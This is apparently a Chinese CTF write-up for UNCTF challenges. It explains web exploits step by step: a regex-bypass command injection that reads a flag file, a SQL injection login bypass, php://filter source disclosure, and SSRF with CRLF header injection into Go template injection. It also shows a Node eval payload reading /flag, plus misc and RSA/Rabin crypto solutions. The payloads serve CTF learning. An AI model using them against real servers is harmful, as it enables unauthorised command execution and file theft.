unctf part wp

学会一点记录一点…

WEB

bypass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
// try bypass it
if (preg_match("/\'|\"|,|;|\\|\`|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $a))
$a = "";
$a ='"' . $a . '"';
if (preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $b))
$b = "";
$b = '"' . $b . '"';
$cmd = "file $a $b";
str_replace(" ","","$cmd");
system($cmd);
?>

关键点在于php的反斜杠,反斜杠可以转义反斜杠,如:

echo '\\';

会输出一个\

当两个\\放到正则表达式里时,两个\\会被当成一个\,并且这个\仍具有转义功能

那么题目中的正则:

|\\|\`|

|\\|\n|

第一个正则会匹配竖线+反引号:

|`

第二个正则会匹配竖线+换行符:

|\n

那么我们就可以单独使用反斜杠和换行符了;

linux绕命令过滤常用的方法有通配符、换行符、反斜杠等,例如使用反斜杠:/

对于这道题,最开始输入:

?a=a&b=b

其最终执行的命令为:

file "a" "b"

那么可以利用反斜杠来转义引号:

?a=\&b=b

file "\" "b"

此时,b 前的单引号是闭合file后的那个单引号,再使用换行符进行命令注入:

?a=\&b=%0a

file "\" "%0a"

此时b参数相当于是命令行中的另一个命令,可以在%0a后添加命令,当然也要闭合最后一个引号:

?a=\&b=%0al\s /%0a

最终得到flag的语句:

?a=\&b=%0A/b??/ca?%20%20 /var/???/html/.F1jh_/h3R3_1S_your_F1A9.txt%20%0A

也可以为:

?a=\&b=%0Aca\t%20 /var/???/html/.F1jh_/h3R3_1S_your_F1A9.txt%20%0A

K&K战队的老家

过滤了一大堆字符,很经典的绕过

username: 1'||'1
password: 1'||'1

扫描目录:

500 -    0B  - /access.php  access.php.bak
200 -    0B  - /debug.php
200 -   80B  - /home.php
301 -  316B  - /inc  ->  http://101.71.29.5:10039/inc/
    /inc/config.php
    /inc/db.php
    /inc/func.php
    /inc/session.php
200 -    1KB - /inc/
200 -    1KB - /index.php
200 -    1KB - /index.php/login/

200 - /home_files/

/home.php?m=index存在文件包含,利用filter协议读取源码:

?m=Php://filter/string.rot13/resource=xxx

之后构造反序列化…tcl

Smile Dog

扫目录:

/bakcup/

有个index.php.swp,下载下来恢复:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

type Page struct {
Name string
Input string
}


type Input struct {
MyName string
MyRequest *http.Request
}

func sayhelloName(w http.ResponseWriter, r *http.Request) {
w.Header().Set("X-Powered-By", "PHP/5.4.16")
var out bytes.Buffer
var response string
name := ""

data, err := ioutil.ReadFile("/flag")
if err != nil{

}
var FLAG = string(data)
r.ParseForm()
r.Header.Add("FLAG", FLAG)

if len(r.Header["Logic"]) > 0{
name = r.Header["Logic"][0]
}else {
name = "No.9527"
}

Connection interruption...

此为golang语言,标准库中的net/http包实现一个 http web 服务器,可以参考下面的链接学习:

https://www.jianshu.com/p/f95558a49e98

分析上述代码:

1.sayhelloName函数接受两个参数,第一个为路由地址,第二个为处理方法

2.:=为声明变量的语句,左边为变量名,右边为其值

3.ioutil为go的文件操作的包,其中的ReadFile函数可以读取文件中的所有数据,返回读取的数据和遇到的错误。如果读取成功,则 err 返回 nil,而不是 EOF

4.Set和Add方法都可以设置headers,对于已经存在的key,Add会追加一个值value到数组中,Set则是直接替换value的值

扫描内网127.0.0.1端口,发现三个:

80  
8080
9527

80和8080都存在SSRF

当输入http://127.0.0.1:9527时,显示了Hello Hello No.9527!!,结合上述源代码,可以知道输出的内容为name,当Header中带有Logic时,会输出其对应的值;那么我们需要控制SSRF时的Header,这里利用了一个CVE-2019-9741

利用CRLF进行注入:

那么要获取函数中的flag,可以进行模板注入:在Go模板中,要插入一个对象的值,可使用{\{.对象名}\}(自行忽略掉反斜杠…)

flag是放在*http.Request中的,结构体中定义*http.Request名为MyRequest,则模板注入payload:

http://127.0.0.1:9527/? HTTP/1.1\r\nLogic:{\{.MyRequest}\}

NSB Reset Password

注册完,选择找回密码,输入注册的用户名,在填写新密码时,打开另一个页面,选择找回密码,填写admin,再回到第一个填写新密码的地方,输入新密码后,再用admin和新密码即可登录获得flag。session覆盖?

NSB Login

用户名为admin,直接爆破密码,1234554321,直接返回flag

CheckIn

萌萌的血小板~输入/help可查看可使用的选项,在源码的appxxx.js(具体名忘了)发现有个/calc选项,输入

/calc 1+3

可以返回运算后的结果,结合题目使用的vue.js,构造相应的命令执行语句:

/calc require('fs').readFileSync('/flag').toString()

MISC

think

1
2
3
4
5
6
7
8
9
10
11
#coding:utf-8

print """
____ ___ _ ___ _ _ _ _ ____ _____ _____
|___ \ / _ \/ |/ _ \ | | | | \ | |/ ___|_ _| ___|
__) | | | | | (_) | | | | | \| | | | | | |_
/ __/| |_| | |\__, | | |_| | |\ | |___ | | | _|
|_____|\___/|_| /_/ \___/|_| \_|\____| |_| |_|
"""

(lambda __y, __operator, __g, __print: [[[[(__print("It's a simple question. Take it easy. Don't think too much about it."), [(check(checknum), None)[1] for __g['checknum'] in [(0)]][0])[1] for __g['check'], check.__name__ in [(lambda checknum: (lambda __l: [(lambda __after: (__print('Congratulation!'), (__print(decrypt(key, encrypted)), __after())[1])[1] if __l['checknum'] else (__print('Wrong!'), __after())[1])(lambda: None) for __l['checknum'] in [(checknum)]][0])({}), 'check')]][0] for __g['decrypt'], decrypt.__name__ in [(lambda key, encrypted: (lambda __l: [[(lambda __after, __sentinel, __items: __y(lambda __this: lambda: (lambda __i: [[__this() for __l['c'] in [(__operator.iadd(__l['c'], chr((ord(__l['key'][(__l['i'] % len(__l['key']))]) ^ ord(__l['encrypted'][__l['i']].decode('base64').decode('hex'))))))]][0] for __l['i'] in [(__i)]][0] if __i is not __sentinel else __after())(next(__items, __sentinel)))())(lambda: __l['c'], [], iter(range(len(__l['encrypted'])))) for __l['c'] in [('')]][0] for __l['key'], __l['encrypted'] in [(key, encrypted)]][0])({}), 'decrypt')]][0] for __g['encrypted'] in [(['MTM=', 'MDI=', 'MDI=', 'MTM=', 'MWQ=', 'NDY=', 'NWE=', 'MDI=', 'NGQ=', 'NTI=', 'NGQ=', 'NTg=', 'NWI=', 'MTU=', 'NWU=', 'MTQ=', 'MGE=', 'NWE=', 'MTI=', 'MDA=', 'NGQ=', 'NWM=', 'MDE=', 'MTU=', 'MDc=', 'MTE=', 'MGM=', 'NTA=', 'NDY=', 'NTA=', 'MTY=', 'NWI=', 'NTI=', 'NDc=', 'MDI=', 'NDE=', 'NWU=', 'MWU='])]][0] for __g['key'] in [('unctf')]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), __import__('operator', level=0), globals(), __import__('__builtin__', level=0).__dict__['print'])

首先通过dir()获取当前环境下的变量:

print(dir())

再将得到的变量都打印出来,最后发现只需调用个解密函数即可得到flag:

print(decrypt(key, encrypted))

信号不好我先挂了

lsb隐写提取出压缩包,再用盲水印得到flag

快乐游戏题

距离猫一个距离拦住就ok了

亲爱的

音频可以分出一个压缩包,不过需要密码,感觉有点脑洞了…开始也没注意到压缩包旁边的日期:

qmusic 2019.7.27 17.47

没想到要去qq音乐找这首歌这个时间点的评论,评论就是密码…

之后再foremost、改后缀

Hidden Secret

打开后三个16进制文件

03 04 ...
05 06 ...
01 02 ...

在三段数据前加上50 4B再拼接到一起得到压缩包,解压后在得到的图片底部得到密文,base92解密即可(跪了)

CRYPTO

不仅仅是RSA

题目为一个RSA.py,两个wav文件,两个pem文件

两个wav音频文件都是莫斯电码的音频,去这个在线解密网站可以获取解密后的内容:

https://morsecode.scphillips.com/labs/audio-decoder-adaptive/

得到:

C1:4314251881242803343641258350847424240197348270934376293792054938860756265727535163218661012756264314717591117355736219880127534927494986120542485721347351
C2:485162209351525800948941613977942416744737316759516157292410960531475083863663017229882430859161458909478412418639172249660818299099618143918080867132349

RSA.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from flag import flag
from Crypto.Util.number import *
import random

p=getPrime(256)
q=getPrime(256)
e=random.randint(1,65537)
n=p*q
m=bytes_to_long(flag1)
c=pow(m,e,n)
print c,e,n

p=getPrime(256)
n=p*q
m=bytes_to_long(flag2)
c=pow(m,e,n)
print c,e,n

可以推测C即为上面解密wav文件得到的内容,且q是n1和n2的公因子,可以通过求GCD(n1,n2)来得到p进而得到q,也可以直接分解n.解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from Crypto.PublicKey import RSA
from Crypto.Util.number import inverse, long_to_bytes

public_key = RSA.importKey(open("pubkey1.pem").read())
n1 = public_key.n
e1 = public_key.e
p1 = 95652716952085928904432251307911783641637100214166105912784767390061832540987
q1 = 107527961531806336468215094056447603422487078704170855072884726273308088647617

public_key = RSA.importKey(open("pubkey2.pem").read())
n2 = public_key.n
e2 = public_key.e
p2 = 89485735722023752007114986095340626130070550475022132484632643785292683293897
q2 = 95652716952085928904432251307911783641637100214166105912784767390061832540987

c1 = 4314251881242803343641258350847424240197348270934376293792054938860756265727535163218661012756264314717591117355736219880127534927494986120542485721347351
c2 = 485162209351525800948941613977942416744737316759516157292410960531475083863663017229882430859161458909478412418639172249660818299099618143918080867132349

#print(n1)
#print(n2)

nn1 = (p1-1)*(q1-1)
d1 = inverse(e1, nn1)

nn2 = (p2-1)*(q2-1)
d2 = inverse(e2, nn2)

m1 = long_to_bytes(pow(c1, d1, n1))
m2 = long_to_bytes(pow(c2, d2, n2))

print(m1+m2)

一句话加密

题目有两个文件,一个encode.py,一张图片e.png

encode.py:

1
2
3
4
5
c = pow(int(m.encode('hex'), 16),e,n)

c1:62501276588435548378091741866858001847904773180843384150570636252430662080263

c2:72510845991687063707663748783701000040760576923237697638580153046559809128516

查看图片中的字符串,在底部发现一串16进制数和kobe

可推测16进制数为n,图片解密后为e,解密和kobe相关

看wp才晓得这个密码竟是科比球鞋上的…

得到two,即e为2,可以想到rabin算法,e=2且n可以分解,但分解得到的不互素。解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Util.number import long_to_bytes, inverse

c = 62501276588435548378091741866858001847904773180843384150570636252430662080263
#c = 72510845991687063707663748783701000040760576923237697638580153046559809128516

n = 87924348264132406875276140514499937145050893665602592992418171647042491658461
p = 275127860351348928173285174381581152299
q = 319576316814478949870590164193048041239
e = 2

s = inverse(p, q)
t = inverse(q, p)

u = pow(c, (p+1)/4, p)
v = pow(c, (q+1)/4, q)

x = (t*q*u+s*p*v)%n
y = (t*q*u-s*p*v)%n

print long_to_bytes(x%n)
print long_to_bytes((-x)%n)
print long_to_bytes(y%n)
print long_to_bytes((-y)%n)